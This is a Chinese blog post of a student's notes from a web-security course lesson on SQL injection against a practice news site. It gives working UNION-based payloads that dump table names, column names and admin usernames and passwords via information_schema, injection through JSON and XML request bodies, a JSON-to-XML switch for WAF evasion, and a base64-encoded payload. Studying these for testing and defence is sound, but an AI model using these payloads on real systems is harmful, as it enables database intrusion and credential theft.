Web攻防-SQL注入&数据类型&参数格式&JSON&XML&编码加密&符号闭合(小迪安全Day54学习笔记)

判断参数类型及格式

这节课的关键是认识这些特殊的格式也是个测试点,并且知道测试的参数应该写在哪个位置可以被触发

数字,字符,搜索

符号干扰:有无单引号或双引号及通配符等

例:

select * from news where id=$id;

select * from news where name=‘$name’;

select * from news where name like ‘%name%’;

借助自带的information_schema

SELECT id, title, created_at FROM news WHERE title LIKE ‘%1%’ OR content LIKE ‘%1%’ ORDER BY created_at DESC

SELECT id, title, created_at FROM news WHERE title LIKE ‘%1%’ order by#OR content LIKE ‘%1%’ ORDER BY created_at DESC

SELECT id, title, created_at FROM news WHERE title LIKE ‘%1%’ union select 1,2,3 #OR content LIKE ‘%1%’ ORDER BY created_at DESC

SELECT id, title, created_at FROM news WHERE title LIKE ‘%1%’ union select 1,database(),3 #OR content LIKE ‘%1%’ ORDER BY created_at DESC

1%’ union select 1,2,table_name from information_schema.tables where table_schema=‘news_db’#

1%’ union select 1,2,column_name from information_schema.columns where table_schema=‘news_db’ and table_name=‘admin’#

1%’ union select 1,username,password from admin#

image-20250311203123987

XML,JSON,编码,混合

json

{
    "news:"[
        {
            "id": 1,
            "title": "xiaodi",
            "content": "i am xiaodi",
            "created_at": "2025-03-07"
        },
        {
            "id": 2,
            "title": "xiaodisec",
            "content": "i am xiaodisec",
            "created_at": "2025-03-06"
        }
    ]
}


image-20250311204035161

“keyword”:“1%’ order by 3#” 正常访问

“keyword”:“1%’ order by 4#” 不正常访问

接下来就按照常规查询

在src中,碰到waf,会通过改变类型,将json格式改为xml格式

<root>
            <id>0</id>
            <keyword>1%' order by 3#</keyword>
        </root>
    

image-20250311210036600

具体接不接受要看对方的监控方式

// 获取 JSON 数据
$inputJSON = file_get_contents('php://input');
$input = json_decode($inputJSON, TRUE);

如果代码是这样的,必须为json提交,就绕过不了

总结:

  1. WAF 可能监控 JSON 格式的请求,并且你尝试通过 改变数据格式(比如从 JSON 改为 XML)来绕过。

  2. 如果目标服务器的代码逻辑 只能处理 JSON,那么即使绕过了 WAF,它依然不会解析 XML 数据。

    最终是否能绕过 WAF,要看对方的检测逻辑:

    如果 WAF 仅检测 JSON,那么可能可以绕过(前提是服务器能接受其他格式)。

    如果服务器严格要求 JSON,那么用 XML 提交无效,绕不过。

xml

<?xml version="1.0" encoding="UTF-8"?>
<news>
    <article>
        <id>1</id>
        <title>xiaodi</title>
        <content>i am xiaodi</content>
        <created_at>2025-03-07</created_at>
    </article>
    <article>
        <id>2</id>
        <title>xiaodisec</title>
        <content>i am xiaodisec</content>
        <created_at>2025-03-06</created_at>
    </article>
</news>

数据包

image-20250311212219573

抓包后写上注入语句为

       <data>
            <id>0</id>
            <keyword>1%' union select 1,username,password from admin#</keyword>
        </data>

xml也可以更改为json,同上

json+编码

image-20250311212619657

“id”:0,“keyword”:“MQ==”

如果可以通过修改id的值来查询用户的身份证信息,那么id本身也需要加密以防止篡改。

核心在于理解加密和查询的逻辑:通常,前端会先对id进行加密后再提交到服务器,服务器接收到数据后会解密,再去数据库中匹配对应的记录。

现在是知道是base64加密,

所以payload:1%’ union select 1,username,password from admin# 要加密后为

MSUnIHVuaW9uIHNlbGVjdCAxLHVzZXJuYW1lLHBhc3N3b3JkIGZyb20gYWRtaW4j

总结:

  • 由于加密是在前端完成的,解密算法通常也能在前端的JSON数据中找到,这意味着攻击者可能通过分析前端代码逆向解密过程,从而尝试获取敏感信息。

  • 加密编码工具是检测不了的,所以只能人工

  • 知道算法很重要,因为符合检验逻辑的payload就可以写出来了,就有了更多的选择

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值